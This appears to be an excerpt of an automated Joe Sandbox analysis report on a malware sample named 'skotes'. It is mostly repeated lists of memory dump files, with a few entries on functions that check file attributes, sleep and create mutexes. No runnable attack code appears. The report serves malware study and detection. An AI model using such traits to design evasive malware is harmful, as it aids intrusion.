Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 1a81cee28f0cb3661cb54a4eddc1758aed1abb1820f32451873ede8476e79e72
Instruction ID: 524646c2e4c76ca3247903a8add45270bed19b7af45269146dd6cb637cb6221c
Opcode Fuzzy Hash: 1a81cee28f0cb3661cb54a4eddc1758aed1abb1820f32451873ede8476e79e72
Instruction Fuzzy Hash: 49A1F732A041589FCF19DF68DC95FAD3BA1AF47320F1441ADE812AF292D7399D12C761

Function 007C26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007D6758), ref: 007C275C

Strings

Eastern Standard Time, xrefs: 007C27CB
Eastern Summer Time, xrefs: 007C27FA
Xg}, xrefs: 007C2705, 007C270B

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg}
API String ID: 565725191-4203849679
Opcode ID: c97057c9b2ac379bdcb57fef954a34f34287e7c8854291fb1df0a8680eb3dcbe
Instruction ID: 55a949b88b0ed2f4c9224d220cfd0ec06447189aff6c04266637777b0f1487d3
Opcode Fuzzy Hash: c97057c9b2ac379bdcb57fef954a34f34287e7c8854291fb1df0a8680eb3dcbe
Instruction Fuzzy Hash: 9651F871900259EFDB10EF699C85FAE77FCEB54360B14416DE610A7293EB3C9E428B60

Function 007B6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007B6EE6), ref: 007B6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 007B7030
__dosmaperr.LIBCMT ref: 007B70C5

Part of subcall function 007B732A: __dosmaperr.LIBCMT ref: 007B735F

Strings

n{, xrefs: 007B6FCE

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n{
API String ID: 2531987475-3633871361
Opcode ID: 00befb0457b8ce8fb0bae5bf11eccca12a1aa51518971314d3ea94cf92211e3a
Instruction ID: 73ba2e0fd8e51dc88da52b7aafdef7248956d1c8187ddca27e710006b0066171
Opcode Fuzzy Hash: 00befb0457b8ce8fb0bae5bf11eccca12a1aa51518971314d3ea94cf92211e3a
Instruction Fuzzy Hash: 18416C75904208ABCB28EFB5DC45AEFB7F9EFC8300B10442EF856D3651EA389900DB21

Function 00789BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00789BA8
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 3019dcbc94e4a69504d5d4dca54899478148867debbd53d4aed44546ffae0ccf
Instruction ID: 8843d55f74245d5e34616630f97ca752de45a7aba10df6ba830cd03dcf0a0c29
Opcode Fuzzy Hash: 3019dcbc94e4a69504d5d4dca54899478148867debbd53d4aed44546ffae0ccf
Instruction Fuzzy Hash: CC318A71784204DBEB08EB78ECCD7ADBB62EB95310F248219E105973D2D77E59808721

Function 00789CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00789CDD
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 4648e4aa9289ac50af46838ac1aa985c65a66fb776dc3ddfa5ae2e63466a0114
Instruction ID: 36ca6162dfa2a055b845cec643d612b08179330bfa2e5d3a66fd31a32d66d453
Opcode Fuzzy Hash: 4648e4aa9289ac50af46838ac1aa985c65a66fb776dc3ddfa5ae2e63466a0114
Instruction Fuzzy Hash: 89314831744144DBEF18EBB8D8CC7ADB762EB85310F288219E115973D6E73D99808725

Function 00789F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00789F47
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

